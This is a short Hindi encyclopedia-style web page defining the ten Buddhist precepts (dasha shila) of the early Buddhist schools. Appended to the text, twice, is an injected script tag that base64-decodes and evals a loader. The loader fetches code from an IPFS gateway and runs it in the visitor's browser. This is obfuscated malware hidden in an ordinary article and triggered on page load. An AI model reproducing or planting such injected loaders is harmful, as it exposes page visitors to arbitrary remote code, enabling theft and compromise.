दश शील बौद्ध निकाय

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

बौद्ध धर्म के अठारह बौद्ध निकायों में दश शील की यह परिभाषा है:-
अष्टाङ्ग शील के 7वें शील को दो भागों में विभक्त कर दिया जाता है, इस तरह 8वें के स्थान पर 9 हो जाते हैं तथा उसमें स्वर्ण, चाँदी आदि का ग्रहण न करना एक शील को और जोड़ दिया जाता है, इस तरह कुल 10 शील हो जाते हैं। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>